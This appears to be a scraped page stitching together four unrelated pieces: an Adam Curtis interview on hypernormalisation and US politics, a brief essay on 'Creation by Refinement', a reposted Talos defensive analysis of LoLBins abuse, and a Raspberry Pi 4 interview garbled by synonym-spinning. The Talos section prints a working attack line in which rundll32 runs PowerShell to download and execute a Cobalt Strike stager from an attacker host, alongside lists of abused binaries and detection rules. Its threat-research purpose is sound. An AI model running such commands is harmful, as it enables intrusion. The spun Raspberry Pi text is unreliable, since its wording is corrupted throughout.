AC: The term was created by a guy called Alexei Yurchak, who wrote a book about the last days of the Soviet Union in the 1980s. What he described was a world where everyone knew that the system in place wasn't working and that the politicians didn't believe it any longer. Yet at the same time, because they didn't have any alternative, everyone just accepted it as normal even though they knew it was abnormal. So he gave it this term hypernormalisation. I'm not trying to say that the West is in any way like the Soviet Union at all. It's very different. What I was trying to argue, or imply in this film gently, was that we may be in a very similar situation where we know that the system has become somewhat corrupted. But more than that, we know that those in charge don't really believe in the system any longer, have no vision of the future. And what's more, they know that we know that.
What Trump is doing is playing with the fakery. It may be instinctive. He's saying things that he knows that we know aren't true, at which point everyone gets locked into a game of what's true and what's not true. This misses the real point of politics, which is to tell a powerful story that offers a vision of the future. I don't think Trump has a vision of the future. I think he's the last of the old politicians.
JS: It doesn't seem like Trump has any kind of ideology beyond a base self-interest, but I don't think the same is true of some of the people in his administration. What do you make of someone like Steve Bannon? Do you see him as a descendent of Leo Strauss, as you've argued the neoconservatives were, or am I giving him more gravitas than he deserves? [Editor's note: This portion of the interview was conducted before Bannon was removed from the National Security Council.]
AC: I think you should pay more attention to the traditional, hard-right-wing people who have risen to power with Trump. Donald comes from the world of finance and he is doing what finance wants to do. I would argue that actually it shows that really nothing has changed, which is a very hypernormal situation. We know that many of the people who possibly should have been prosecuted after the financial crisis of 2008 were not. Now it's carrying on while liberals boo and hiss at the man in charge. Behind the scenery, everyone is just carrying on managing the system in their own interests as they have before.
Steve Bannon? I don't know. We have a phrase in Britain, which is "All mouth, no trousers." He's a degraded clash-of-civilizations man, and he's a bit late to the table on that one because [Jean-Marie Le Pen] tried that in 2004. It didn't work. I'm far more interested in what I would call real power, which is the power of finance. It's really extraordinary that Trump has moved into a position of power. People from the political financial world would never in a million years let him borrow their money, which makes you wonder whether he is a part of the pantomime.
JS: One of the ideas you put forth on the eve of the election is that Trump is actually a product of 1970s counterculture. I'm not sure how many people would make that association.
AC: If you shut your eyes and listen to Donald Trump, or half of what Donald Trump says, he sounds like one of those paranoid hippies who kept talking about The Man, big T, big M. The Man is this sort of corrupt political insider who doesn't care about anything except power and is pulling the wool over your eyes. At the end of the 1960s, the left turned against politics and said, Look, all politics is shit. Everyone is corrupt. Therefore what you have to do is detach yourself from politics and really turn to those who you trust. Out of that you got the politics of individualism, which then rose up and supported Reagan. What's really fascinating, which I shared in a series called "The Century of the Self," is how many people who'd come out of the counterculture ended up voting for Reagan in 1980 because he offered that sort of individualism. But if you listen to Trump, it's the discourse of the counterculture, and he's playing with that.
JS: So if Trump is the apotheosis of this radical individualism and all these cultural signs pointed to him, or someone like him becoming president, are there any markers for what might come next? What gives you hope for the future?
AC: The thing that makes me really sad, and to an extent, angry, is the complete failure of the liberals and the progressives to actually face up to what people like Trump really mean. What it means is that there are groups in this country, many of them poor, many of them part of the working class, who are feeling frightened, alone, and afraid of the future. They voted for Trump or for Brexit in my country as a way of expressing that, because the traditional politics would not let them do it. The liberals would not go and connect with those people. What they do is they spend their time saying they're stupid, which is the most stupid thing you can possibly do.
What the left has got to do is go and find a common line for those people and genuinely offer them something. If they did that, they could make politics noble and important again. But instead they're hunkering down, sneering, and trying to blame Vladimir Putin. I mean, I'm sure Russians did hack practically every server in America, but that's not the real reason why Donald Trump won. Progressives have not faced up to this. In a sense, I'm hopeful because the failure of Trump to be able to deliver what he has promised gives great opportunities for the left to reinvent itself. The only person who interests me is Bernie Sanders. He's going around having what he calls town hall meetings with those people, and I think that's really good.
JS: Why do you think liberals are so frightened of these big animating ideas? I found it very telling how few Democrats were willing to come out in support of a single-payer health care system or even a public option after Trump's latest bill went down in flames, Sanders being a notable exception.
AC: One of the great unanswered questions of my time is why the optimism and idealism of liberals, who used the power of state to change the world for the better, collapsed so quickly and turned to pessimism. If you talk to groups of liberals now, it's like talking to people who think the plane's going to crash all the time. They dream of apocalypse and read books by Cormac McCarthy and say that sugar's going to kill them. Which it may well do, but it's not the biggest thing to worry about. I think it's terribly sad, but Trump has presented a great opportunity for them. As you say, he's failing in all his policies, isn't he? Of course, if they do miss that opportunity, then the real nasty nationalist right will start to make the running, and that's a danger in the future.
JS: I can't help but notice that the kind politics you're advocating sound a lot like those Obama ran on in 2008. Do you think he failed to live up to the promises of that campaign? Is Donald Trump a part of his legacy now?
AC: I don't know, but I don't think so. I think Obama was a very decent guy. Since the early 1990s, real power has shifted away from politicians to all sorts of institutions that we almost don't have the perception apparatus to see or understand. Frankly, a journalist doesn't. I think Obama found himself facing a lot of that. But it's us as well. At the same time that Obama came to power, we, the liberals, the Democrats, the progressives retreated to digital playgrounds owned by five or six very giant corporations. I think they left Obama quite isolated, actually. So far from snarling and spitting at him, which much of the left has done, they should actually turn around and look at themselves and wonder, possibly did we go down the wrong avenue believing all that internet utopianism? I just think that it's time for a little humility among some of the progressives in their attitude to Obama.
As I point out in Hypernormalisation, the Occupy movement had a fantastic slogan and the goodwill of lots of people who would normally never support a rebellious movement like that. Yet when they actually got together, they found they had no ideas. I think it's pretty rich that they then turned around and tried to blame Obama for not having a picture of the future when, quite frankly, they didn't. If you want to change the world, A, you've got to work at it very hard, and B, you've got to challenge power, and that's quite frightening and quite difficult, and you have to have a very strong idea of what you want.
JS: Let's return to the subject of Putin, who makes an appearance in several of your films, Hypernormalisation included. In recent weeks, it seems like a lot of legitimate concerns about the Trump administration's ties to the Kremlin have given way to rampant conspiracy theorizing. How do you explain it?
AC: Russia has been the Other ever since about 1951 for America, and then everyone tried to make it be Islamists. By about 2007 that wasn't working, and everyone now seems to have switched back to Russia. When Barry Goldwater was running for president, the John Birch Society was saying that the president was probably controlled by the Soviet Union. If you listen to the liberals now, they sound remarkably similar.
I am sure that the Russians probably did hack into the Democrats' computers. And I am sure that they may have leaked stuff to meddle with the election and to mess with confidence in the whole democratic process. I would also not be surprised if Donald Trump, and people around him, have had all kinds of dealings with dodgy people in Russia. Given the weird mixture of business and politics in that country, it might be quite likely.
But to an outsider, the way the Democrats and their supporters are obsessing with Russia looks very strange and hysterical. From a distance it seems as if they are desperately trying to avoid facing up to the very powerful reality that was revealed by the election. Instead they seem to be retreating into a kind of magical thinking. Looking for something, anything that will be like a magic wand and wave President Trump away. And then they can go back to normality. It can’t help crossing one’s mind that maybe the Democrats are looking for an excuse that will mean they don’t have to change, that they don’t have to give things up in today’s unequal, brutal and unfair society.
JS: What would you say to those who might feel helpless or even paralyzed by the horrific events that seem to be unfolding almost daily?
AC: Stop. Stop blaming. Stop sitting in the bubble and feeling sad. Stop sneering at the people who voted for Donald Trump and Brexit. Reconnect with them, and make politics noble again. Make it powerful. There are only two ways of changing the world. One is if you've got large amounts of money. The other is to use collective action, the collective power that politics allows you. Too many on the left have embraced a new kind of democracy online and gotten trapped in echo chambers. You can't say "You can't trust any politicians," because actually that becomes a self-fulfilling prophecy. What I'm saying is get engaged.
During the civil rights movement in America in the late '50s and early '60s, young white activists went down to the South, united with young black activists and worked for years to confront vested interests, ruthless power. Some of them were killed, many were beaten up. Most of them were completely anonymous, but they changed the world. And there is a great hunger for that kind of change.

On Creation by Refinement
I recently read a research paper by J.P. Lewis titled Creation by refinement and the problem of algorithmic music composition. While I was trying to concentrate on how I could use the paradigm presented in the paper in the context of algorithmic music composition, I realised the approach could be applied to a lot of areas from science and engineering to arts and politics.
Just think about the impact on our real-world systems if they were build with this approach. While Machine Learning techniques do follow a similar approach, there is a big difference. Usual supervised learning approaches optimise by refinement, which is why they can solve problems such as teaching cars to drive themselves or identifying humans or objects in pictures.
Creation by Refinement (CBR) is not optimisation but creation based on the critique of something already produced be it a news article, speech, product or a software (actually anything). CBR is at the core iterative creation. A consequence of this approach is that it assumes that creations are never perfect, they are critiqued according to learned constraints (which in real life are laws, public response or revenue numbers) and then pushed back to the creation stage with new weights on each of the decisive factors that led to the creation of the last version.
The application of approach to real-life systems such as stock markets, politics or journalism may hurt self-esteem of lot of individuals or groups, or even affect society in different ways. There is definitely going to be a response from everyone involved. However, it is certain that next iteration of the creation will be far better or more trustworthy than the last one by a huge margin. This improvement to commerce and society is more than enough. Actually, this approach is already in place in some areas. This is not because they want to, but because they have to. For example, Space Exploration companies or agencies have just one chance to have a successful mission, either their mission will succeed or it won't. Zero or one. This is the reason why failure rates in space exploration have steadily improved with passage of time [2].
It is hard to think of anything that couldn't be improved through use of this technique. The problem with this approach is that it is hard to apply due to human biases. Biases plague many systems such as government. It is hard to think of how to effectively apply CBR approach to government or related human-reliant systems because of lack of transparency and inherent biases in individuals involved.
To end with, this is an approach that if applied in right contexts effectively can transform our world into a utopia. It is a straightforward antidote to many our society's problems. The only question is are we open enough to our criticism for our own good in the long run?

Original Post from Talos Security Author:
By Vanja Svajcer.
Introduction
Attackers’ trends tend to come and go. But one popular technique we’re seeing at this time is the use of living-off-the-land binaries — or “LoLBins”. LoLBins are used by different actors combined with fileless malware and legitimate cloud services to improve chances of staying undetected within an organisation, usually during post-exploitation attack phases.
Living-off-the-land tactics mean that attackers are using pre-installed tools to carry out their work. This makes it more difficult for defenders to detect attacks and researchers to identify the attackers behind the campaign. In the attacks we’re seeing, there are binaries supplied by the victim’s operating system that are normally used for legitimate purposes, but in these cases, are being abused by the attackers.
In this post, we will take a look at the use of LOLBins through the lense of Cisco’s product telemetry. We’ll also walk through the most frequently abused Windows system binaries and measure their usage by analyzing data from Cisco AMP for Endpoints.
You’ll also find an overview of a few recent campaigns we’ve seen using LoLBins, along with recommendations for how to detect malicious LoLBins’ activities.
What are LoLBins
A LoLBin is any binary supplied by the operating system that is normally used for legitimate purposes but can also be abused by malicious actors. Several default system binaries have unexpected side effects, which may allow attackers to hide their activities post-exploitation.
The concept of LoLBins is not new and isn’t specific to Windows. Almost all conventional operating systems, starting from the early DOS versions and Unix systems, contained executables that attackers could exploit.
Here is an example from the mid 80s in which binary code to reboot the computer was supplied to the default debug.com DOS debugger as text, designed to avoid detection by anti-malware scanners and run malicious code as intended.
N SET.COM A 100 MOV AX,0040 MOV DS,AX MOV AX,1234 MOV [0072],AX JMP F000:FFF0 RCX 10 W Q
In their presentation at DerbyCon 3, Matthew Graeber and Christopher Campbell set the baseline for Windows, by discussing the advantages of using default Windows binaries to conduct red team activities and avoiding defensive mechanisms.
In this post we also focus on Windows LoLBins and their usage today.
Overall, attackers can using LoLBins to:
Download and install malicious code
Executing malicious code
Bypassing UAC
Bypassing application control such as (WDAC)
Attackers may be able to target other utilities that are often pre-installed by system manufacturers and may be discovered during reconnaissance. These executables can be signed utilities such as updaters, configuration programs and various third party drivers.
The usage of LoLBins has been frequently combined with legitimate cloud services such as GitHub, Pastebin, Amazon S3 storage and cloud drives such as Dropbox, Box and Google Drive. By using legitimate cloud services for storage of malicious code, command and control (C2) infrastructure and data exfiltration attackers activities are more likely to remain undetected as the generated traffic does not differ from the traffic generated by systems that are not compromised.
Talos is mainly interested in finding executables that can be used to download or execute malicious code. In our research, we monitor daily execution patterns of the following executables to detect their abuse:
powershell.exe
bitsadmin.exe
certutil.exe
psexec.exe
wmic.exe
mshta.exe
mofcomp.exe
cmstp.exe
windbg.exe
cdb.exe
msbuild.exe
csc.exe
regsvr32.exe
Abusing PowerShell
A primary suspect for malicious code download and in-memory execution in the recent period is PowerShell. Threat actors commonly use this command shell, which is built on the Windows management and .NET frameworks. This powerful administration environment has a security policy that can prevent the execution of untrusted code. Unfortunately, this policy can be easily circumvented with a single command line option.
One could argue that the execution of PowerShell with the option to bypass security policy should be outright blocked. However, there are a number of legitimate tools, such as Chocolatey package manager and some system management tools that use the exact command line.
PowerShell’s code is not case-sensitive, and it will accept shortened versions of command line options, as long as the option isn’t ambiguous. For example -EncodedCommand option, which accepts a Base64-encoded string as a parameter can also be invoked as -EncodedC or even -enc, which is commonly used by malicious actors.
Popular malware like Sodinokibi and Gandcrab have used reflect DLL loaders in the past that allows attackers to load a dynamic library into process memory without using Windows API.
The Invoke-Obfuscation module is often used to create polymorphic obfuscated variants, which will not be detected by antivirus programs and other defensive mechanisms.
Over time, attackers have also realized the malicious potential of PowerShell, widening the number of executables used as LoLBins. Msbuild.exe and C# compiler csc.exe are some of the most frequently used by red teams. Both are frequently used to download, build and load malicious code that is built for that particular system and does not appear on any executable block list.
Measuring LoLBins usage
We analyzed telemetry provided from Cisco AMP for Endpoints to measure how often LoLBins are abused. The telemetry, sent over a secure channel, contains names of invoked processes and cryptographic checksums of their file images which helps us with tracking file trajectories and building parent-child process relationships that can be used for hunting.
An example of process retrospection graph in AMP telemetry.
The telemetry data is focused on detecting new attacks as they happen but it should also allow us to measure how many potential LoLBin invocations are suspicious.
We looked at different LoLBins where the decision could be made quickly. In all cases, we’re assuming the worst-case scenario and designated any invocation of the following processes with a URL as a parameter as suspicious:
mshta.exe
certutil.exe
bitsadmin.exe
regsvr32.exe
powershell.exe
Our relaxed definition of suspicious process invocation means that will also have significant false positive rate. For example, for PowerShell invocations with a URL in command line, we estimate that only 7 percent of the initially chosen calls should be checked in-depth and are likely to be malicious.
We obtain the percentage of suspicious calls by mining billions of daily data points and dividing the number of detected suspicious calls with the overall number of calls. Overall, our worst-case scenario shows that at least 99.8 percent of all LoLBins invocations are not worth further investigation.
LoLBins and percentages of suspect invocations.
We then distilled down these potentially suspicious calls to find the ones that are likely to be malicious.
Once again, we will take PowerShell. The worst figure for potentially suspicious PowerShell process executions was 0.2 percent. However, as mentioned before, only 7 percent of those actually require in-depth investigation, which brings the percentage down to 0.014 percent. Therefore, at least 99.986 percent of PowerShell invocations are legitimate.
A simple rule of thumb for URLs that can be used to pinpoint calls that are more likely to be malicious is to look for LoLBins invocation combined with:
External numeric IP address
Any .net TLD
Any .eu TLD
Any .ru TLD
Any URL ending with an executable or image extension (e.g. .EXE, .LNK, .DLL, .JPG, .PNG etc.)
Any reference to Pastebin.com and its clones
Any reference to Github or any other source code repository sites
Red teams’ activities
Although the majority of recorded suspicious calls belong to malicious actors, it is worth noting that red-team activities are also visible. Here, security teams and penetration testers are often using adversarial simulation frameworks such as Red Canary Atomic tests to test the organizational defences against tools, techniques and processes as classified in the ATT&CK knowledge base.
Some red team tools are tailored to mimic activity of popular tools such as Mimikatz. Here is an example of a tailor-made script hosted on GitHub to emulate adversarial technique of using a reputable domain to store malicious code.
Red team members using fake Mimikatz module to test defenses.
LoLBins actors’ skill levels
In this section, we’ll describe three individual campaigns, showing usage of PowerShell combined with memory-only code from three different actors with different skill sets. These campaigns can be relatively easily detected by internal hunting teams by analyzing command lines and their options.
Case 1: Common ransomware
The first case involves the Sodinokibi ransomware. Sodinokibi is a rather common ransomware that spreads by using standard methods like phishing and exploit kits, as well as exploiting vulnerabilities in web frameworks such as WebLogic.
We see from telemetry that PowerShell is launched with Invoke-Expression cmdlet evaluating code downloaded from a Pastebin web page using the Net.WebClient.DownloadString function, which downloads a web page as a string and stores it in memory.
Initial Sodinokibi PowerShell invocation.
The downloaded code is a reflective DLL loader with randomized function names to avoid simple pattern based detection engines. The ransomware payload is Base64-encoded and stored in the variable $PEBytes32. It is worth noting that Base64 executable payloads can be instantly recognized by the initial two characters “TV,” which get decoded into characters “MZ” for the start of DOS executable stub of a PE32+ executable file.
Reflective DLL loader loads Sodinokibi payload
Sodinokibi and Gandcrab are very common, but that does not mean that actors behind them are not technically proficient. Although they use off-the-shelf techniques to spread and execute payloads, we can still estimate that they have an intermediate skill level.
Case 2: Intermediate miner
Our second actor used the Powershell ability to obfuscate code and deobfuscate several layers of obfuscation in memory before reaching the actual PowerShell script that installs and launches a cryptocurrency-mining payload.
First Invoke-Obfuscation layer decoded
The Invoke-Obfuscation module is often used for PowerShell obfuscation. Apart from obfuscating the whole next layer script code, it also hides the invocation on Invoke-Expression (IEX) cmdlet. In this example, the $Env:COMSpec variable contains the string “C:WindowsSystemcmd.exe” so that joined fourth, 15th and 25th character form the string “iex.”
This cryptocurrency miner had five deobfuscation stages and in the final one, the invocation of IEX was hidden by getting the name of the variable MaximumDriveCount using “gv” (Get-Variable cmdlet) with the parameter “*mdr*” and choosing characters 3,11 and 2 to form it.
Extracting ‘iex’ from MaximumDriveCount
The downloaded PowerShell scripts contains the functionality to disable Windows Defender, Malwarebytes and Sophos anti-malware software, to install modified XMRig cryptocurrency payload and download modules with the intention to steal user credentials from memory and use the credentials to attempt to spread laterally by passing the hash (Invoke-TheHash) through SMB or WMI.
Deobfuscated crypto-miner loader
Case 3: Hiding Cobalt Strike in network traffic
Our final case study shows activities of a more advanced actor. The actor uses Cobalt Strike beacon for their post exploitation activities with a Powershell stager taken from the Cobalt Strike framework.
The telemetry shows this attack launched by abusing rundll32.exe and the command line invoking JScript code to download a web page and launch the initial PowerShell stager.
rundll32.exe javascript:\..\mshtml,RunHTMLApplication ;document.write();new%20ActiveXObject(WScript.Shell).Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxps://stjohnplece.co/lll/webax.js');
The first PowerShell stage, webax.js, despite misleading filename extension, decompresses the second-stage PowerShell code that loads the first shellcode stage into memory and creates a specific request to download what seems like a standard jQuery JavaScript library.
Cobalt Strike PowerShell stager
The shellcode creates a HTTP GET request to the IP address 134.209.176.24, but with header fields that indicate that the host we are looking for is code.jquery.com, the legitimate host serving jQuery. This technique seems to successfully bypass some automated execution environments which in their analysis results show that the request went to the legitimate host and not to the malicious IP address.
HTTP header with the spoofed host field
The downloaded malicious jQuery starts with the actual jQuery code in the first 4,015 bytes, followed by the obfuscated Cobalt Strike beacon, which gets deobfuscated with a static XOR key and loaded into memory using reflective loading techniques.
The beginning and the end of malicious jQuery and Cobalt Strike payload
The malicious jQuery ends with 1,520 bytes of the actual jQuery code, presumably to avoid anti-malware scanners scanning the request top and tail.
This technique of hiding binary payload within jQuery library and evasion of malicious IP address detection shows that we are dealing with a more advanced actor, which takes their operational security seriously.
Overall, we cannot pinpoint a single type of actor that focus on using LoLBins. Although they may have been used only by more advanced actors, today they are also used by actors employing common malicious code such as ransomware or cryptominers.
Detecting and preventing LoLBins abuse
The protection against abuse of LoLBins combined with fileless code is difficult for security controls that do not monitor process behavior. The abuse can be detected based on the parent-child relationship of the launched processes as well as anomalies in network activity of processes that are not usually associated with network communication.
Organisations are advised to configure their systems for centralized logging where further analytics can be performed by hunting teams. Since version 5, Powershell can also be configured to log execution of all executed code blocks to Windows event log. This allows members of security teams to understand obfuscated code which needs to be deobfuscated before it is run. The execution of deobfuscated code will be visible in Windows event logs.
However, the best possible protection is to deny execution of LoLBins using mechanisms such as Windows Defender Application Control. Microsoft created a policy block file, which will block execution of LoLBins not required on protected systems.
Unfortunately, blocking all LoLBins is not possible in most environments since they are also required by legitimate processes.
Conclusion
Our research shows that many types of actors are employing various techniques to use LoLBins in their activities, from commodity malware to more targeted attacks. However, the overall proportion of malicious usage is very low (below 0.2 percent), which is not enough to block all invocations of LoLBins.
However, blue team members must keep LoLBins in mind while conducting regular hunting activities. If used successfully, an attacker can use these to make their attacks more difficult to trace or make their malware linger for longer on the victim machine.

Raspberry Pi 4 : This factor is a PC, says board's creator Eben Upton
http://tinyurl.com/y378za92 On this Q&A Upton talks about what the brand new Pi Four makes attainable, whether or not Home windows will probably be coming to the Pi, and future plans for the board. The brand new Raspberry Pi Four Mannequin B is out at present, and sees the low-cost laptop reworked into a much more succesful machine. Primarily based round a brand new {hardware} platform, the brand new board packs in as much as 4GB reminiscence, USB 3.0, dual-screen 4K show assist, and a sooner and newer CPU and GPU.When you’re curious about what the brand new board can do and the way it compares to earlier Raspberry Pi computer systems, check out our review and benchmarks or our guided tour of the brand new board.The Pi Four has been three years within the making and arrives one 12 months sooner than anybody anticipated.We spoke to Eben Upton, co-creator of the Raspberry Pi and Raspberry Pi Buying and selling CEO, concerning the selections that formed the Raspberry Pi Four and what new makes use of it opens up for the Pi. How lengthy has the Raspberry Pi Four been in improvement?It has been a long-running program. We have carried out lots of prototypes and that is the ultimate end result. When you embrace the silicon improvement, it has been three years, basically what’s occurred is the silicon bought good sooner than we have been anticipating [the Pi 4’s new BCM2711 system-on-a-chip], so we have been capable of pull the schedule in. “It is a realization of the imaginative and prescient that this factor is a PC,” says Pi co-creator Eben Upton. Picture: Raspberry Pi Basis Does it really feel good to be lastly be releasing the Pi 4?Yeah. This has been three years of my life. Three years of lots of our lives. We have been speaking about this within the tail finish of 2015, so we hadn’t even launched Pi Three after we began excited about it.It has been in lively engineering for the reason that tail finish of 2016. However this stuff take a very long time, and the expectation was that this was going to come back out in 2020. Why are you promoting a Raspberry Pi for greater than $35 for the primary time?For the primary time we’ll have SKUs [different options]. There must be a 1GB product for $35, a 2GB product at $45, a 4GB product at $55.I feel that is fairly eager pricing.We wish to do bigger reminiscence SKUs, and at present you’ll be able to’t do bigger reminiscence SKUs at $35. We love the $35 worth level, however we additionally wish to have extra reminiscence, the one solution to do it at present is to have SKUs. Why did you determine so as to add assist for twin shows to the Pi 4?We’re a PC and PCs have twin show outputs. If you do not have twin show output, you are not a PC proper? In our workplace, lots of people have two shows, a docked laptop computer after which an exterior show. For energy customers, it is a factor. I feel persons are going to seek out that basically helpful. What new makes use of will the Raspberry Pi Four make attainable?Effectively it is PC-like use instances. That is the one I’ll give my mother and father to exchange their 10 – 15-year-old [AMD] Duron [based PC] that I constructed for them a very long time in the past. It is a PC.It is a realization of the imaginative and prescient that this factor is a PC. You can surf the online on it, run workplace functions, open lots of tabs in Chromium, as a result of, as you understand, the ‘open lots of tabs’ might be the place the prevailing one falls down. This feels subjectively extra PC like, when it comes to the efficiency. What have been the priorities for the Raspberry Pi 4?I’ll be fascinated to listen to what’s incorrect with this board. We have mounted nearly the whole lot I feel. Individuals’s objections have been non-multimedia I/O all going by way of a USB 2.Zero hyperlink, lack of 4K assist, a scarcity of SKUs with extra reminiscence.A few of them are official complaints, so we have tried to deal with the whole lot we may. The flexibility to place USB 3.Zero on there was a shock. We would initially felt that we is perhaps ready to place up with USB 2.Zero for this design, however we have got an excellent bridge chip that works properly. Will the Raspberry Pi Four be capable to run Home windows?I do not know. That is a Microsoft choice. I proceed to be enthusiastic. On some degree, Home windows is much less attention-grabbing than it may need been 5 years in the past.I feel we have got a Home windows-equivalent surroundings on there. More and more an working system is one thing that runs on my browser and we run Chromium very effectively.Alternatively it might be nice, it might be pretty to run Home windows. But it surely’s a difficulty, it is a query for Microsoft actually. I might like to see it, however I feel it is much less important than it was. May the Pi Four run Home windows on Arm?Effectively, the facility is unquestionably there. It is bought lots of efficiency. I feel it is a multimedia query. It is how do you get DirectX on there? As a result of there is not a DirectX driver for the GPU. We’re not ready to develop a DirectX driver for the GPU, so the place do you get one from? That is in all probability the blocker. What number of Raspberry Pi Four boards will probably be accessible at launch?We’ll attempt to construct 100,000 models to 200,000 models earlier than launch. What work is happening to make the Raspberry Pi and Raspbian extra open-source pleasant?There’s ongoing transition on the multimedia facet from stuff being in the BLOB [opaque binary data] to being open, to taking 3D out of the BLOB after which taking show administration out of the BLOB.You may run Pi 3+ now, the place the BLOB does nothing on the show facet, so your graphics is all carried out in Mesa [the open-source 3D graphics library] and your show output is all carried out utilizing KMS.We by no means shipped an working system launch with that mode enabled by default. The hope with this one [the Raspberry Pi 4] is that we will ship with 3D underneath the management of Mesa, and possibly the show nonetheless underneath the management of the firmware for now, however with an lively program to get KMS carried out for this platform. Does higher open-source assist and a extra highly effective Pi open the door to new working programs?That makes issues like Android a bit bit simpler as a result of there’s much less particular magic within the platform, show and graphics are all in open-source land, so an enterprising hacker can put one thing collectively. You’ve got bought much more CPU efficiency.So I feel it is possible on your BSDs and your Androids to get additional on this platform, with much less assist from us than earlier than. It’s going to be good. It is good to have a wide range of choices. Will there be a Raspberry Pi Four Mannequin A+ at a later date?I am unsure we now have an apparent A+ to launch. The economics of A+ work by eliminating the Ethernet and the USB hub, reducing some board space off, taking assist parts out, shedding some connectors, halving the reminiscence.I am unsure that we now have an apparent possibility for a 512MB LPDDR4 [RAM], which is considerably cheaper than a 1GB LPDDR4.Subsequently I am unsure we now have a solution to make an A+ product which has a sale worth of lower than $30 and that is solely a $5 distinction.For me, I might have to have the ability to get to $25, and I do not assume I’ve a path to $25. I believe this era would not get an A+. What are some great benefits of utilizing USB-C for energy on the Raspberry Pi 4?That offers us one other half amp, in order that’s three amps. That is not likely for energy on the board, that is to extend our margin that may be pushed to energy downstream.That is a bunch port as effectively, so it is the system port. It is bought the previous legacy USB 2.Zero OTG controller that everybody loves a lot, which is now related to that port, which could enable us to do enjoyable issues like booting it over USB from a PC. How the Raspberry Pi Three Mannequin Three B+ paved the way in which for the Raspberry Pi 43B+ was an attention-grabbing product as a result of it was fairly incremental in lots of methods. It added actually helpful stuff on the connectivity facet and a bit little bit of a bonus when it comes to efficiency, partly as a result of we had extra clock pace and partly as a result of we had higher thermals, so that you’re capable of maintain peak efficiency for longer. But it surely was additionally attention-grabbing as a result of it retired lots of technical danger from this mission, so the 802.11ac dual-band Wi-Fi [on the Pi 4] is precisely the identical as 3B+. The PMIC [power management integrated circuit], which was new for 3B+, is precisely the identical. It has the identical compact power-over-ethernet MagJack, which was an innovation for 3B+.There’s fairly a number of locations the place we benefited. There’s lots of new stuff clearly on this platform [the Pi 4], and I feel if we packed the entire new stuff into one product launch, it might have been an excessive amount of improvement. Will the earlier boards stay on sale?Yeah, we’re not EOLing [End of Life] something. Raspberry Pi 1 remains to be accessible.What we are inclined to do is 5 years [of producing boards] from launch, as a result of we may be positive of that.
